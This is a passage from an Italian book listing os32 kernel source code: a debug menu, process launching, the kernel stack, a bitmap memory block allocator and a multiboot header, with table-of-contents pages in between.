1850281                                  O_WRONLY|O_CREAT|O_TRUNC, 0644);
1850282             //
1850283             if (status >= 0)
1850284               {
1850285                 status = s_close ((pid_t) 0, status);
1850286                 if (status != 0)
1850287                   {
1850288                     k_perror (NULL);
1850289                   }
1850290               }
1850291           }
1850292         else if (strncmp (command, "x", MAX_CANON) == 0)
1850293           {
1850294             //
1850295             // Load init.
1850296             //
1850297             exec_argv[0] = "/bin/init";
1850298             exec_argv[1] = NULL;
1850299             pid = run ("/bin/init", exec_argv, NULL);
1850300             //
1850301             // Just sleep.
1850302             //
1850303             while (1)
1850304               {
1850305                 sys (SYS_0, NULL, 0);
1850306               }
1850307           }
1850308         else if (strncmp (command, "q", MAX_CANON) == 0)
1850309           {
1850310             k_printf ("System halted!\n");
1850311             return;
1850312           }
1850313       }
1850314 }
```

119.9.4 kernel/main/menu.c

Si veda la sezione 118.10.

```
1860001 #include <kernel/main.h>
1860002 #include <kernel/lib_k.h>
1860003 //----------------------------------------------------------------------
1860004 void
1860005 menu (void)
1860006 {
1860007     k_printf (
1860008 ".------------------------------------------------------------------.\n"
1860009 "| h    show this menu                                 .--------------.|\n"
1860010 "| t    show internal timer values                     | all commands ||\n"
1860011 "| f    fork the kernel                                | followed by  ||\n"
1860012 "| m    memory map (HEX)                               | [Enter]      ||\n"
```

```
1860013 "| g|G  show GDT table first 21+21 items          `--------------'|\n"
1860014 "| i|I  show IDT table first 21+21 items                          |\n"
1860015 "| p    process status list                                      |\n"
1860016 "| s    super block list                                         |\n"
1860017 "| n    list of active inodes                                    |\n"
1860018 "| 1..9 kill process  1 to 9                                     |\n"
1860019 "| A..F kill process 10 to 15                                    |\n"
1860020 "| a..c run programs '/bin/aaa' to '/bin/ccc' in parallel        |\n"
1860021 "| x    exit interaction with kernel and start '/bin/init'       |\n"
1860022 "| q    quit kernel                                              |\n"
1860023 "`-------------------------------------------------------------------'\n"
1860024 );
1860025 
1860026 }
```

119.9.5 kernel/main/run.c

Si veda la sezione 118.10.

```
1870001 #include <kernel/main.h>
1870002 #include <kernel/proc.h>
1870003 #include <kernel/lib_k.h>
1870004 #include <unistd.h>
1870005 //----------------------------------------------------------------------
1870006 pid_t
1870007 run (char *path, char *argv[], char *envp[])
1870008 {
1870009     pid_t pid;
1870010     //
1870011     pid = fork ();
1870012     if (pid == -1)
1870013       {
1870014         k_perror (NULL);
1870015       }
1870016     else if (pid == 0)
1870017       {
1870018         execve (path, argv, envp);
1870019         z_perror (NULL);
1870020         _exit (0);
1870021       }
1870022     return (pid);
1870023 }
```

119.9.6 kernel/main/stack.s

Si veda la sezione 118.10.

```
1880001 .global _k_stack_top
1880002 .global _k_stack_bottom
1880003 #########################################################################
1880004 #
1880005 # Kernel stack size. The value 0x8000 is equal to 32768 bytes.
1880006 # Please note that if the kernel stack is too little, there is
1880007 # no way to check it.
1880008 #
1880009 .equ STACK_SIZE,  0x8000
1880010 #------------------------------------------------------------------------
1880011 .align 4
1880012 .section .bss
1880013 #------------------------------------------------------------------------
1880014 #
1880015 # At the end is placed the space for the kernel stack, with no
1880016 # initialization.
1880017 #
1880018 _k_stack_top:
1880019 .space STACK_SIZE
1880020 _k_stack_bottom:
1880021 #------------------------------------------------------------------------
```

119.10 os32: «kernel/memory.h»

Si veda la sezione 118.11.

```
1890001 #ifndef _KERNEL_MEMORY_H
1890002 #define _KERNEL_MEMORY_H       1
1890003 //-----------------------------------------------------------------------
1890004 #include <stdint.h>
1890005 #include <stddef.h>
1890006 #include <sys/types.h>
1890007 //-----------------------------------------------------------------------
1890008 #define MEM_BLOCK_SIZE  0x1000    // 4 Ki/block
1890009 #define MEM_MAX_BLOCKS  0x100000  // 1 Mi blocks = 4 Gibyte
1890010 
1890011 extern uint32_t     mb_table[MEM_MAX_BLOCKS/32]; // Memory blocks map.
1890012 extern unsigned int mb_max;                      // Memory blocks max.
1890013 //-----------------------------------------------------------------------
1890014 typedef unsigned int       addr_t;
1890015 //-----------------------------------------------------------------------
1890016 uint32_t *mb_reference  (void);
1890017 ssize_t   mb_alloc      (addr_t address, size_t size);
1890018 void      mb_free       (addr_t address, size_t size);
1890019 int       mb_reduce     (addr_t address, size_t new, size_t previous);
1890020 void      mb_clean      (addr_t address, size_t size);
1890021 addr_t    mb_alloc_size (size_t size);
```

```
1890022 void        mb_print        (void);
1890023 void        mb_size         (size_t size);
1890024 //----------------------------------------------------------------------
1890025 #endif
```


119.1 os32: directory principale 7031

119.1.1 applic.sep.ld 7031
119.1.2 bochs 7032
119.1.3 elf-to-os32 7032
119.1.4 kernel.ld 7034
119.1.5 makeit.sep 7035
119.1.6 qemu 7042

119.2 os32: «kernel/blk.h» 7043

119.2.1 kernel/blk/blk_ata.c 7050
119.2.2 kernel/blk/blk_cache_check.c 7052
119.2.3 kernel/blk/blk_cache_init.c 7052
119.2.4 kernel/blk/blk_cache_read.c 7053
119.2.5 kernel/blk/blk_cache_save.c 7054
119.2.6 kernel/blk/blk_public.c 7055

119.3 os32: «kernel/dev.h» 7055

119.3.1 kernel/dev/dev_ata.c 7062
119.3.2 kernel/dev/dev_dm.c 7064
119.3.3 kernel/dev/dev_io.c 7065
119.3.4 kernel/dev/dev_kmem.c 7066
119.3.5 kernel/dev/dev_mem.c 7070
119.3.6 kernel/dev/dev_tty.c 7072

119.4 os32: «kernel/dm.h» 7074

119.4.1 kernel/dm/dm_init.c 7080
119.4.2 kernel/dm/dm_public.c 7083
119.4.3 kernel/driver/ata.h 7083
119.4.4 kernel/driver/ata/ata_cmd_identify_device.c 7086
119.4.5 kernel/driver/ata/ata_cmd_read_sectors.c 7087
119.4.6 kernel/driver/ata/ata_cmd_write_sectors.c 7089
119.4.7 kernel/driver/ata/ata_device.c 7091
119.4.8 kernel/driver/ata/ata_drq.c 7092
119.4.9 kernel/driver/ata/ata_init.c 7093
119.4.10 kernel/driver/ata/ata_lba28.c 7098

119.4.11 kernel/driver/ata/ata_public.c 7099
119.4.12 kernel/driver/ata/ata_rdy.c 7099
119.4.13 kernel/driver/ata/ata_reset.c 7101
119.4.14 kernel/driver/ata/ata_valid.c 7101
119.4.15 kernel/driver/kbd.h 7102
119.4.16 kernel/driver/kbd/kbd_isr.c 7102
119.4.17 kernel/driver/kbd/kbd_load.c 7104
119.4.18 kernel/driver/kbd/kbd_public.c 7106
119.4.19 kernel/driver/screen.h 7106
119.4.20 kernel/driver/screen/screen_clear.c 7107
119.4.21 kernel/driver/screen/screen_current.c 7108
119.4.22 kernel/driver/screen/screen_init.c 7108
119.4.23 kernel/driver/screen/screen_new_line.c 7109
119.4.24 kernel/driver/screen/screen_number.c 7110
119.4.25 kernel/driver/screen/screen_pointer.c 7111
119.4.26 kernel/driver/screen/screen_public.c 7111
119.4.27 kernel/driver/screen/screen_putc.c 7111
119.4.28 kernel/driver/screen/screen_scroll.c 7113
119.4.29 kernel/driver/screen/screen_select.c 7114
119.4.30 kernel/driver/screen/screen_update.c 7114
119.4.31 kernel/driver/tty.h 7116
119.4.32 kernel/driver/tty/tty_console.c 7116
119.4.33 kernel/driver/tty/tty_init.c 7117
119.4.34 kernel/driver/tty/tty_public.c 7119
119.4.35 kernel/driver/tty/tty_read.c 7119
119.4.36 kernel/driver/tty/tty_reference.c 7120
119.4.37 kernel/driver/tty/tty_write.c 7121

119.5 os32: «kernel/fs.h» 7121

119.5.1 kernel/fs/fd_dup.c 7131
119.5.2 kernel/fs/fd_reference.c 7133
119.5.3 kernel/fs/file_pipe_make.c 7134
119.5.4 kernel/fs/file_reference.c 7135
119.5.5 kernel/fs/file_stdio_dev_make.c 7136
119.5.6 kernel/fs/file_table.c 7137
119.5.7 kernel/fs/fs_init.c 7137
119.5.8 kernel/fs/inode_alloc.c 7137
119.5.9 kernel/fs/inode_check.c 7141
119.5.10 kernel/fs/inode_dir_empty.c 7142
119.5.11 kernel/fs/inode_file_read.c 7144

119.5.12 kernel/fs/inode_file_write.c 7146
119.5.13 kernel/fs/inode_free.c 7148
119.5.14 kernel/fs/inode_fzones_read.c 7149
119.5.15 kernel/fs/inode_fzones_write.c 7151
119.5.16 kernel/fs/inode_get.c 7152
119.5.17 kernel/fs/inode_pipe_make.c 7155
119.5.18 kernel/fs/inode_pipe_read.c 7157
119.5.19 kernel/fs/inode_pipe_write.c 7159
119.5.20 kernel/fs/inode_print.c 7161
119.5.21 kernel/fs/inode_put.c 7163
119.5.22 kernel/fs/inode_reference.c 7164
119.5.23 kernel/fs/inode_save.c 7166
119.5.24 kernel/fs/inode_stdio_dev_make.c 7167
119.5.25 kernel/fs/inode_table.c 7169
119.5.26 kernel/fs/inode_truncate.c 7169
119.5.27 kernel/fs/inode_zone.c 7172
119.5.28 kernel/fs/path_device.c 7180
119.5.29 kernel/fs/path_fix.c 7181
119.5.30 kernel/fs/path_full.c 7183
119.5.31 kernel/fs/path_inode.c 7184
119.5.32 kernel/fs/path_inode_link.c 7188
119.5.33 kernel/fs/sb_inode_status.c 7193
119.5.34 kernel/fs/sb_mount.c 7194
119.5.35 kernel/fs/sb_print.c 7197
119.5.36 kernel/fs/sb_public.c 7198
119.5.37 kernel/fs/sb_reference.c 7198
119.5.38 kernel/fs/sb_save.c 7199
119.5.39 kernel/fs/sb_zone_status.c 7201
119.5.40 kernel/fs/zone_alloc.c 7202
119.5.41 kernel/fs/zone_free.c 7203
119.5.42 kernel/fs/zone_print.c 7204
119.5.43 kernel/fs/zone_read.c 7205
119.5.44 kernel/fs/zone_write.c 7206

119.6 os32: «kernel/ibm_i386.h» 7207

119.6.1 kernel/ibm_i386/_in_32.s 7217
119.6.2 kernel/ibm_i386/_in_16.s 7218
119.6.3 kernel/ibm_i386/_in_8.s 7218
119.6.4 kernel/ibm_i386/_out_32.s 7219
119.6.5 kernel/ibm_i386/_out_16.s 7219

119.6.6 kernel/ibm_i386/_out_8.s 7220
119.6.7 kernel/ibm_i386/cli.s 7220
119.6.8 kernel/ibm_i386/gdt.c 7221
119.6.9 kernel/ibm_i386/gdt_load.s 7222
119.6.10 kernel/ibm_i386/gdt_print.c 7222
119.6.11 kernel/ibm_i386/gdt_public.c 7223
119.6.12 kernel/ibm_i386/gdt_segment.c 7223
119.6.13 kernel/ibm_i386/idt.c 7224
119.6.14 kernel/ibm_i386/idt_descriptor.c 7226
119.6.15 kernel/ibm_i386/idt_irq_remap.c 7227
119.6.16 kernel/ibm_i386/idt_load.s 7228
119.6.17 kernel/ibm_i386/idt_print.c 7228
119.6.18 kernel/ibm_i386/idt_public.c 7229
119.6.19 kernel/ibm_i386/irq_off.c 7229
119.6.20 kernel/ibm_i386/irq_on.c 7230
119.6.21 kernel/ibm_i386/isr.s 7231
119.6.22 kernel/ibm_i386/isr_exception_name.c 7245
119.6.23 kernel/ibm_i386/isr_exception_unrecoverable.c 7246
119.6.24 kernel/ibm_i386/isr_irq_clear.c 7246
119.6.25 kernel/ibm_i386/isr_irq_clear_pic1.c 7247
119.6.26 kernel/ibm_i386/isr_irq_clear_pic2.c 7247
119.6.27 kernel/ibm_i386/sti.s 7247

119.7 os32: «kernel/lib_k.h» 7248

119.7.1 kernel/lib_k/k_exit.s 7254
119.7.2 kernel/lib_k/k_gets.c 7255
119.7.3 kernel/lib_k/k_perror.c 7255
119.7.4 kernel/lib_k/k_printf.c 7256
119.7.5 kernel/lib_k/k_sleep.c 7256
119.7.6 kernel/lib_k/k_stime.c 7257
119.7.7 kernel/lib_k/k_vprintf.c 7257
119.7.8 kernel/lib_k/k_vsprintf.c 7258

119.8 os32: «kernel/lib_s.h» 7259

119.8.1 kernel/lib_s/s__exit.c 7266
119.8.2 kernel/lib_s/s_brk.c 7269
119.8.3 kernel/lib_s/s_chdir.c 7275
119.8.4 kernel/lib_s/s_chmod.c 7276
119.8.5 kernel/lib_s/s_chown.c 7277
119.8.6 kernel/lib_s/s_clock.c 7278

119.8.7 kernel/lib_s/s_close.c 7278
119.8.8 kernel/lib_s/s_dup.c 7280
119.8.9 kernel/lib_s/s_dup2.c 7280
119.8.10 kernel/lib_s/s_fchmod.c 7281
119.8.11 kernel/lib_s/s_fchown.c 7282
119.8.12 kernel/lib_s/s_fcntl.c 7283
119.8.13 kernel/lib_s/s_fork.c 7285
119.8.14 kernel/lib_s/s_fstat.c 7291
119.8.15 kernel/lib_s/s_kill.c 7292
119.8.16 kernel/lib_s/s_link.c 7295
119.8.17 kernel/lib_s/s_longjmp.c 7296
119.8.18 kernel/lib_s/s_lseek.c 7297
119.8.19 kernel/lib_s/s_mkdir.c 7299
119.8.20 kernel/lib_s/s_mknod.c 7301
119.8.21 kernel/lib_s/s_mount.c 7303
119.8.22 kernel/lib_s/s_open.c 7304
119.8.23 kernel/lib_s/s_pipe.c 7310
119.8.24 kernel/lib_s/s_read.c 7312
119.8.25 kernel/lib_s/s_sbrk.c 7315
119.8.26 kernel/lib_s/s_setegid.c 7316
119.8.27 kernel/lib_s/s_seteuid.c 7317
119.8.28 kernel/lib_s/s_setgid.c 7317
119.8.29 kernel/lib_s/s_setjmp.c 7318
119.8.30 kernel/lib_s/s_setuid.c 7319
119.8.31 kernel/lib_s/s_signal.c 7320
119.8.32 kernel/lib_s/s_stat.c 7321
119.8.33 kernel/lib_s/s_stime.c 7323
119.8.34 kernel/lib_s/s_tcgetattr.c 7323
119.8.35 kernel/lib_s/s_tcsetattr.c 7325
119.8.36 kernel/lib_s/s_time.c 7326
119.8.37 kernel/lib_s/s_umount.c 7327
119.8.38 kernel/lib_s/s_unlink.c 7329
119.8.39 kernel/lib_s/s_wait.c 7333
119.8.40 kernel/lib_s/s_write.c 7334

119.9 os32: «kernel/main.h» 7337

119.9.1 kernel/main/build.h 7344
119.9.2 kernel/main/crt0.s 7344
119.9.3 kernel/main/kmain.c 7345
119.9.4 kernel/main/menu.c 7351

119.9.5 kernel/main/run.c 7352
119.9.6 kernel/main/stack.s 7353

119.10 os32: «kernel/memory.h» 7353

119.10.1 kernel/memory/mb_alloc.c 7360
119.10.2 kernel/memory/mb_alloc_size.c 7362
119.10.3 kernel/memory/mb_clean.c 7364
119.10.4 kernel/memory/mb_free.c 7364
119.10.5 kernel/memory/mb_print.c 7366
119.10.6 kernel/memory/mb_public.c 7368
119.10.7 kernel/memory/mb_reduce.c 7368
119.10.8 kernel/memory/mb_reference.c 7369
119.10.9 kernel/memory/mb_size.c 7369

119.11 os32: «kernel/multiboot.h» 7370

119.11.1 kernel/multiboot/mboot_public.c 7376
119.11.2 kernel/multiboot/mboot_save.c 7376

119.12 os32: «kernel/part.h» 7377

119.13 os32: «kernel/proc.h» 7384

119.13.1 kernel/proc/proc_available.c 7393
119.13.2 kernel/proc/proc_dump_memory.c 7394
119.13.3 kernel/proc/proc_init.c 7395
119.13.4 kernel/proc/proc_offset_data_to_pointer.c 7399
119.13.5 kernel/proc/proc_print.c 7399
119.13.6 kernel/proc/proc_public.c 7401
119.13.7 kernel/proc/proc_reference.c 7402
119.13.8 kernel/proc/proc_sch_signals.c 7402
119.13.9 kernel/proc/proc_sch_terminals.c 7403
119.13.10 kernel/proc/proc_sch_timers.c 7410
119.13.11 kernel/proc/proc_scheduler.c 7411
119.13.12 kernel/proc/proc_sig_chld.c 7415
119.13.13 kernel/proc/proc_sig_cont.c 7416
119.13.14 kernel/proc/proc_sig_core.c 7416
119.13.15 kernel/proc/proc_sig_handler.c 7418
119.13.16 kernel/proc/proc_sig_ignore.c 7422
119.13.17 kernel/proc/proc_sig_off.c 7423
119.13.18 kernel/proc/proc_sig_on.c 7423
119.13.19 kernel/proc/proc_sig_status.c 7423
119.13.20 kernel/proc/proc_sig_stop.c 7424

119.13.21 kernel/proc/proc_sig_term.c 7424
119.13.22 kernel/proc/proc_sys_exec.c 7425
119.13.23 kernel/proc/proc_timer_init.c 7440
119.13.24 kernel/proc/proc_wakeup_pipe_read.c 7441
119.13.25 kernel/proc/proc_wakeup_pipe_write.c 7441
119.13.26 kernel/proc/proc_wakeup_terminal.c 7442
119.13.27 kernel/proc/sysroutine.c 7443

119.10.1 kernel/memory/mb_alloc.c

Si veda la sezione 118.11.

```
1900001 #include <kernel/memory.h>
1900002 #include <kernel/ibm_i386.h>
1900003 #include <sys/os32.h>
1900004 #include <kernel/lib_k.h>
1900005 //----------------------------------------------------------------------
1900006 #define DEBUG 0
1900007 //----------------------------------------------------------------------
1900008 static int mb_block_set1 (int block);
1900009 //----------------------------------------------------------------------
1900010 ssize_t
1900011 mb_alloc (addr_t address, size_t size)
1900012 {
1900013     unsigned int bstart;
1900014     unsigned int bsize;
1900015     unsigned int bend;
1900016     unsigned int i;
1900017     ssize_t      allocated = 0;
1900018     addr_t       block_address;
1900019     //
1900020     if (size == 0)
1900021       {
1900022         //
1900023         // Zero means nothing.
1900024         //
1900025         allocated = 0;
1900026         return (allocated);
1900027       }
1900028     //
1900029     // Show what was requested.
1900030     //
1900031     if (DEBUG)
1900032       {
1900033         k_printf ("%s(%i, %zi)", __func__, (unsigned int) address,
1900034                    size);
1900035       }
1900036     //
1900037     // Calculate starting block of memory.
1900038     //
```

```
1900039         bstart = address / MEM_BLOCK_SIZE;
1900040         //
1900041         // Calculating size in term of blocks.
1900042         //
1900043         if (size % MEM_BLOCK_SIZE)
1900044           {
1900045             bsize = size / MEM_BLOCK_SIZE + 1;
1900046           }
1900047         else
1900048           {
1900049             bsize = size / MEM_BLOCK_SIZE;
1900050           }
1900051         //
1900052         // Calculate the block number after the
1900053         // end of the requested memory area.
1900054         //
1900055         bend = bstart + bsize;
1900056         //
1900057         // Scan the memory map and allocate.
1900058         //
1900059         for (i = bstart; i < bend; i++)
1900060           {
1900061             if (mb_block_set1 (i))
1900062               {
1900063                 allocated += MEM_BLOCK_SIZE;
1900064               }
1900065             else
1900066               {
1900067                 block_address = i;
1900068                 block_address *= MEM_BLOCK_SIZE;
1900069                 k_printf ("[%s] Kernel alert: mem block %x, at address "
1900070                           "%x, already allocated!\n",
1900071                           __FILE__, i, (unsigned int) block_address);
1900072                 break;
1900073               }
1900074           }
1900075         //
1900076         //
1900077         //
1900078         return (allocated);
1900079     }
1900080     //----------------------------------------------------------------------
1900081     static int
1900082     mb_block_set1 (int block)
1900083     {
1900084         int i          = block / 32;
1900085         int j          = block % 32;
1900086         uint32_t mask = 0x80000000 >> j;
1900087         if (mb_table[i] & mask)
1900088           {
1900089             return (0);      // The block is already set to 1 inside the map!
1900090           }
```

```
1900091     else
1900092       {
1900093         mb_table[i] = mb_table[i] | mask;
1900094         return (1);
1900095       }
1900096 }
```

119.10.2 kernel/memory/mb_alloc_size.c

Si veda la sezione 118.11.

```
1910001 #include <kernel/memory.h>
1910002 #include <kernel/ibm_i386.h>
1910003 #include <kernel/lib_k.h>
1910004 #include <sys/os32.h>
1910005 #include <errno.h>
1910006 //----------------------------------------------------------------------
1910007 #define DEBUG 0
1910008 //----------------------------------------------------------------------
1910009 static int mb_block_status (int block);
1910010 //----------------------------------------------------------------------
1910011 addr_t
1910012 mb_alloc_size (size_t size)
1910013 {
1910014     unsigned int bsize;
1910015     unsigned int i;
1910016     unsigned int j;
1910017     unsigned int found = 0;
1910018     addr_t       alloc_addr;
1910019     ssize_t      alloc_size;
1910020     //
1910021     //
1910022     //
1910023     if (size == 0)
1910024       {
1910025         errset (EINVAL);
1910026         return ((addr_t) 0);
1910027       }
1910028     //
1910029     // Show what was requested.
1910030     //
1910031     if (DEBUG)
1910032       {
1910033         k_printf ("%s(%zi)", __func__, size );
1910034       }
1910035     //
1910036     // Calculate block size.
1910037     //
1910038     if (size % MEM_BLOCK_SIZE)
1910039       {
1910040         bsize = size / MEM_BLOCK_SIZE + 1;
```

```
1910041         }
1910042       else
1910043         {
1910044           bsize = size / MEM_BLOCK_SIZE;
1910045         }
1910046       //
1910047       // Scan for a contiguous space in memory.
1910048       //
1910049       for (i = 0; i < (mb_max - bsize) && !found; i++)
1910050         {
1910051           for (j = 0; j < bsize; j++)
1910052             {
1910053               found = !mb_block_status (i+j);
1910054               if (!found)
1910055                 {
1910056                   i += j;
1910057                   break;
1910058                 }
1910059             }
1910060         }
1910061       //
1910062       // If the space was found, allocate it.
1910063       //
1910064       if (found && (j == bsize))
1910065         {
1910066           alloc_addr  = i - 1;
1910067           alloc_addr *= MEM_BLOCK_SIZE;
1910068           alloc_size  = bsize * MEM_BLOCK_SIZE;
1910069           alloc_size  = mb_alloc (alloc_addr, (size_t) alloc_size);
1910070           //
1910071           if (alloc_size <= 0)
1910072             {
1910073               errset (ENOMEM);
1910074               return ((addr_t) 0);
1910075             }
1910076           else if (alloc_size < size)
1910077             {
1910078               mb_free (alloc_addr, (size_t) alloc_size);
1910079               errset (ENOMEM);
1910080               return ((addr_t) 0);
1910081             }
1910082           else
1910083             {
1910084               //
1910085               // Clean memory before return.
1910086               //
1910087               mb_clean (alloc_addr, (size_t) alloc_size);
1910088               //
1910089               //
1910090               //
1910091               return (alloc_addr);
1910092             }
```

```
1910093         }
1910094       else
1910095        {
1910096           errset (ENOMEM);
1910097           return ((addr_t) 0);
1910098        }
1910099 }
1910100 //----------------------------------------------------------------------
1910101 static int
1910102 mb_block_status (int block)
1910103 {
1910104     int i          = block / 32;
1910105     int j          = block % 32;
1910106     uint32_t mask = 0x80000000 >> j;
1910107     return ((int) (mb_table[i] & mask));
1910108 }
```

119.10.3 kernel/memory/mb_clean.c

Si veda la sezione 118.11.

```
1920001 #include <kernel/memory.h>
1920002 //----------------------------------------------------------------------
1920003 void
1920004 mb_clean (addr_t address, size_t size)
1920005 {
1920006     unsigned int i;
1920007     char         *mem;
1920008     //
1920009     mem = (char *) address;
1920010     //
1920011     for (i = 0; i < size; i++)
1920012       {
1920013         mem[i] = 0;
1920014       }
1920015 }
```

119.10.4 kernel/memory/mb_free.c

Si veda la sezione 118.11.

```
1930001 #include <kernel/memory.h>
1930002 #include <kernel/ibm_i386.h>
1930003 #include <sys/os32.h>
1930004 #include <kernel/lib_k.h>
1930005 //----------------------------------------------------------------------
1930006 #define DEBUG 0
1930007 //----------------------------------------------------------------------
1930008 static int mb_block_set0 (int block);
```

```
1930009 //----------------------------------------------------------------------
1930010 void
1930011 mb_free (addr_t address, size_t size)
1930012 {
1930013     unsigned int bstart;
1930014     unsigned int bsize;
1930015     unsigned int bend;
1930016     unsigned int i;
1930017     addr_t       block_address;
1930018     //
1930019     //  k_printf ("releasing 0x%x, size 0x%x\n", (int) address,
1930020     //            (int) size);
1930021     //
1930022     if (size == 0)
1930023       {
1930024         //
1930025         // Zero means nothing.
1930026         //
1930027         return;
1930028       }
1930029     //
1930030     // Show what was requested.
1930031     //
1930032     if (DEBUG)
1930033       {
1930034         k_printf ("%s(%i, %zi)", __func__, (unsigned int) address,
1930035                   size);
1930036       }
1930037     //
1930038     // Calculate size in term of blocks.
1930039     //
1930040     if (size % MEM_BLOCK_SIZE)
1930041       {
1930042         bsize  = size / MEM_BLOCK_SIZE + 1;
1930043       }
1930044     else
1930045       {
1930046         bsize  = size / MEM_BLOCK_SIZE;
1930047       }
1930048     //
1930049     // Calculate start address in term of blocks.
1930050     //
1930051     bstart = address / MEM_BLOCK_SIZE;
1930052     //
1930053     // Calculate end address, in term of blocks.
1930054     // This address is after the memory area to
1930055     // be released.
1930056     //
1930057     bend   = bstart + bsize;
1930058     //
1930059     // Scan the memory map to free memory blocks.
1930060     //
```

```
1930061     for (i = bstart; i < bend; i++)
1930062       {
1930063         if (mb_block_set0 (i))
1930064           {
1930065             ;
1930066           }
1930067         else
1930068           {
1930069             block_address = i;
1930070             block_address *= MEM_BLOCK_SIZE;
1930071             k_printf ("[%s] Kernel alert: mem block 0x%x, at address "
1930072                       "0x%x, already released!\n",
1930073                       __FILE__, i, (unsigned int) block_address);
1930074           }
1930075       }
1930076 }
1930077 //----------------------------------------------------------------------
1930078 static int
1930079 mb_block_set0 (int block)
1930080 {
1930081     int i          = block / 32;
1930082     int j          = block % 32;
1930083     uint32_t mask = 0x80000000 >> j;
1930084     if (mb_table[i] & mask)
1930085       {
1930086         mb_table[i] = mb_table[i] & ~mask;
1930087         return (1);
1930088       }
1930089     else
1930090       {
1930091         return (0);     // The block is already set to 0 inside the map!
1930092       }
1930093 }
```

119.10.5 kernel/memory/mb_print.c

Si veda la sezione 118.11.

```
1940001 #include <kernel/memory.h>
1940002 #include <kernel/ibm_i386.h>
1940003 #include <sys/os32.h>
1940004 #include <kernel/lib_k.h>
1940005 #include <kernel/multiboot.h>
1940006 //----------------------------------------------------------------------
1940007 void
1940008 mb_print (void)
1940009 {
1940010     unsigned int block;
1940011     unsigned int blocks = (multiboot.mem_upper * 1024 / MEM_BLOCK_SIZE);
1940012     int          i;
1940013     int          j;
```

```
1940014     uint32_t     mask;
1940015     unsigned int start = 0;
1940016     unsigned int stop  = 0;
1940017     unsigned int status = 0;
1940018     //
1940019     k_printf ("Hex mem map, blocks of %x:", MEM_BLOCK_SIZE);
1940020     //
1940021     for (block = 0; block < blocks; block++)
1940022       {
1940023         i    = block / 32;
1940024         j    = block % 32;
1940025         mask = 0x80000000 >> j;
1940026         if (mb_table[i] & mask)
1940027           {
1940028             //
1940029             // Allocated block
1940030             //
1940031             if (status == 0)
1940032               {
1940033                 status = 1;
1940034                 start = block;
1940035               }
1940036           }
1940037         else
1940038           {
1940039             //
1940040             // Not allocated block.
1940041             //
1940042             if (status == 1)
1940043               {
1940044                 status = 0;
1940045                 stop = block;
1940046               }
1940047           }
1940048         //
1940049         //
1940050         //
1940051         if (stop > 0)
1940052           {
1940053             k_printf (" %x-%x", start, stop);
1940054             start = 0;
1940055             stop  = 0;
1940056           }
1940057       }
1940058     k_printf ("\n");
1940059 }
```

119.10.6 kernel/memory/mb_public.c

«

Si veda la sezione 118.11.

```
1950001 #include <kernel/memory.h>
1950002 #include <stdint.h>
1950003 //----------------------------------------------------------------------
1950004 uint32_t     mb_table[MEM_MAX_BLOCKS/32]; // Memory blocks map.
1950005 unsigned int mb_max = MEM_MAX_BLOCKS;      // Memory blocks max.
1950006 //----------------------------------------------------------------------
```

119.10.7 kernel/memory/mb_reduce.c

«

Si veda la sezione 118.11.

```
1960001 #include <kernel/memory.h>
1960002 #include <kernel/ibm_i386.h>
1960003 #include <sys/os32.h>
1960004 #include <errno.h>
1960005 //----------------------------------------------------------------------
1960006 int
1960007 mb_reduce (addr_t address, size_t new, size_t previous)
1960008 {
1960009     addr_t start;
1960010     addr_t end;
1960011     size_t size;
1960012     //
1960013     //
1960014     //
1960015     if (new > previous)
1960016       {
1960017         //
1960018         // We are reducing, not extending!
1960019         //
1960020         errset (EINVAL);
1960021         return (-1);
1960022       }
1960023     //
1960024     //
1960025     //
1960026     if (new == previous)
1960027       {
1960028         //
1960029         // Nothing to do.
1960030         //
1960031         return (0);
1960032       }
1960033     //
1960034     // Correct sizes to conform to memory blocks.
1960035     //
1960036     start = address + new;
```

```
1960037     if (start % MEM_BLOCK_SIZE)
1960038       {
1960039         start /= MEM_BLOCK_SIZE;
1960040         start++;
1960041         start *= MEM_BLOCK_SIZE;
1960042       }
1960043     //
1960044     end = address + previous;
1960045     end /= MEM_BLOCK_SIZE;
1960046     end *= MEM_BLOCK_SIZE;
1960047     //
1960048     size = end - start;
1960049     //
1960050     // Finally release the extra memory, no more used.
1960051     //
1960052     mb_free (start, size);
1960053     //
1960054     // Ok.
1960055     //
1960056     return (0);
1960057 }
```

119.10.8 kernel/memory/mb_reference.c

Si veda la sezione 118.11.

```
1970001 #include <stdint.h>
1970002 #include <kernel/memory.h>
1970003 //----------------------------------------------------------------------
1970004 uint32_t *
1970005 mb_reference (void)
1970006 {
1970007     return mb_table;
1970008 }
1970009
```

119.10.9 kernel/memory/mb_size.c

Si veda la sezione 118.11.

```
1980001 #include <kernel/memory.h>
1980002 //----------------------------------------------------------------------
1980003 void
1980004 mb_size (size_t size)
1980005 {
1980006     mb_max = size / MEM_BLOCK_SIZE;
1980007 }
```

119.11 os32: «kernel/multiboot.h»

Si veda la sezione 118.12.

```
1990001 #ifndef _KERNEL_MULTIBOOT_H
1990002 #define _KERNEL_MULTIBOOT_H    1
1990003 //----------------------------------------------------------------------
1990004 #include <inttypes.h>
1990005 //----------------------------------------------------------------------
1990006 #define MBOOT_CMDLINE_MAX 4096
1990007 //----------------------------------------------------------------------
1990008 typedef struct {
1990009     uint32_t  flags;
1990010     uint32_t  mem_lower;
1990011     uint32_t  mem_upper;
1990012     uint32_t  boot_device;
1990013         char  cmdline[MBOOT_CMDLINE_MAX];
1990014 } multiboot_t;
1990015 //
1990016 extern multiboot_t multiboot;
1990017 //----------------------------------------------------------------------
1990018 void mboot_save (multiboot_t *mboot_data);
1990019 //----------------------------------------------------------------------
1990020 #endif
```


119.1 os32: directory principale 7031

119.1.1 applic.sep.ld 7031
119.1.2 bochs 7032
119.1.3 elf-to-os32 7032
119.1.4 kernel.ld 7034
119.1.5 makeit.sep 7035
119.1.6 qemu 7042

119.2 os32: «kernel/blk.h» 7043

119.2.1 kernel/blk/blk_ata.c 7050
119.2.2 kernel/blk/blk_cache_check.c 7052
119.2.3 kernel/blk/blk_cache_init.c 7052
119.2.4 kernel/blk/blk_cache_read.c 7053
119.2.5 kernel/blk/blk_cache_save.c 7054
119.2.6 kernel/blk/blk_public.c 7055

119.3 os32: «kernel/dev.h» 7055

119.3.1 kernel/dev/dev_ata.c 7062
119.3.2 kernel/dev/dev_dm.c 7064
119.3.3 kernel/dev/dev_io.c 7065

119.3.4 kernel/dev/dev_kmem.c 7066
119.3.5 kernel/dev/dev_mem.c 7070
119.3.6 kernel/dev/dev_tty.c 7072

119.4 os32: «kernel/dm.h» 7074

119.4.1 kernel/dm/dm_init.c 7080
119.4.2 kernel/dm/dm_public.c 7083
119.4.3 kernel/driver/ata.h 7083
119.4.4 kernel/driver/ata/ata_cmd_identify_device.c 7086
